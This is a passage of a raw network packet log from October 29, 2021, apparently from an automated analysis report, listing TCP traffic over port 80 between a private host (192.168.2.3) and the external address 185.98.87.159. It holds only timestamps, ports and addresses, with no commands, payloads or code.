Oct 29, 2021 20:28:59.077977896 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.077982903 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.078030109 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.078102112 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.078382015 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.132036924 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:00.815504074 CEST	49764	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:00.867712975 CEST	80	49764	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:00.867885113 CEST	49764	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:00.870429993 CEST	49764	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:00.870537996 CEST	49764	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:00.922617912 CEST	80	49764	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:00.949094057 CEST	80	49764	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:00.949685097 CEST	49764	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:00.949876070 CEST	49764	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:00.990356922 CEST	49765	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.001857042 CEST	80	49764	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.043862104 CEST	80	49765	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.043962955 CEST	49765	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.044179916 CEST	49765	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.044194937 CEST	49765	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.123709917 CEST	80	49765	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.124341011 CEST	49765	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.124423981 CEST	49765	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.167941093 CEST	49767	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.177978992 CEST	80	49765	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.219523907 CEST	80	49767	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.219789028 CEST	49767	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.219820976 CEST	49767	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.219825029 CEST	49767	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.299804926 CEST	80	49767	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.299957991 CEST	49767	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.300122023 CEST	49767	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.331897974 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.351510048 CEST	80	49767	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.384197950 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.384645939 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.384682894 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.384692907 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.463499069 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.463526011 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.463552952 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.463609934 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.463614941 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.463630915 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.463655949 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.463675976 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.463696003 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.463717937 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.463720083 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.463726997 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.463745117 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.463753939 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.464045048 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.517447948 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517478943 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517484903 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517585039 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.517589092 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517621994 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517640114 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517683983 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517700911 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.517719030 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.517750025 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517807961 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.517813921 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517878056 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517910957 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517926931 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.517947912 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.517996073 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.518078089 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.518091917 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.518131971 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.518146992 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.518176079 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.518234015 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.518399000 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.518414974 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.518451929 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.518505096 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.518533945 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.518623114 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.571975946 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572201967 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572329044 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572357893 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572395086 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572423935 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572448015 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.572452068 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572479963 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572483063 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.572509050 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572545052 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572567940 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.572592020 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572619915 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.572619915 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572649002 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572684050 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572707891 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.572711945 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572740078 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572746992 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.572767973 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572796106 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572824955 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.572824955 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572866917 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.572877884 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572952032 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.572992086 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573008060 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573036909 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573071957 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573076963 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.573106050 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.573164940 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573360920 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.573479891 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573507071 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573545933 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573568106 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.573574066 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573688984 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573718071 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573719978 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.573745966 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573774099 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573796988 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.573801994 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573829889 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573857069 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.573864937 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573893070 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573895931 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.573920965 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573957920 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.573987007 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.574409962 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.626178980 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.626205921 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.626238108 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.626272917 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.626316071 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.626435995 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627024889 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627053976 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627075911 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627108097 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627137899 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627224922 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627247095 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627259016 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627279997 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627300978 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627307892 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627355099 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627358913 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627378941 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627405882 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627427101 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627449036 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627454996 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627477884 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627490044 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627500057 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627520084 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627546072 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627552032 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627567053 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627588034 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627624035 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627645016 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627661943 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627665997 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627687931 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627722979 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627753973 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627758980 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627801895 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627860069 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627881050 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627906084 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627908945 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627931118 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.627959013 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.627999067 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.628220081 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628243923 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628274918 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628294945 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628314972 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628335953 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628340960 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.628357887 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628385067 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628405094 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628417969 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.628426075 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628442049 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.628447056 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628468037 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628488064 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628500938 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.628509045 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628530025 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.628530025 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628561020 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.628561974 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.628882885 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.678539991 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.678555965 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.678570032 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.678582907 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.678612947 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.679171085 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.680161953 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680177927 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680191040 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680207968 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680289030 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680301905 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.680315971 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.680372953 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680466890 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.680589914 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680604935 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680624008 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680658102 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.680663109 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680748940 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.680826902 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680840969 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680871010 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680883884 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680921078 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.680931091 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680944920 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.680958033 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.680963039 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.681003094 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.681008101 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.681107998 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.681122065 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.681219101 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.681231976 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.681252003 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.681262970 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.681284904 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.681291103 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.681391954 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.682250977 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.682266951 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.682307959 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.682324886 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.682362080 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.682527065 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.682542086 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.682554007 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.682558060 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.682566881 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.682609081 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.682655096 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.682956934 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.682971001 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.682985067 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.682997942 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.683011055 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.683022976 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.683041096 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.683053017 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.683065891 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.683094978 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.683095932 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.683130026 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.683140039 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.683162928 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.683171034 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.683269978 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.733288050 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.733303070 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.733539104 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.733808041 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.733820915 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.734227896 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.735122919 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735138893 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735156059 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735177040 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735188007 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735203028 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.735205889 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735443115 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.735476971 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735490084 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735502005 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735517025 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735552073 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.735606909 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.735708952 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735721111 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735738039 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735749960 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735761881 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735778093 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735790014 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735796928 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.735805988 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735815048 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.735817909 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735831022 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735842943 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735855103 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735862017 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.735869884 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.735882044 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.735914946 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.735920906 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.736401081 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.736840010 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.736877918 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.736932039 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.737070084 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.737086058 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.737158060 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.737179041 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.737205029 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.737807035 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.737821102 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.737835884 CEST	80	49772	185.98.87.159	192.168.2.3
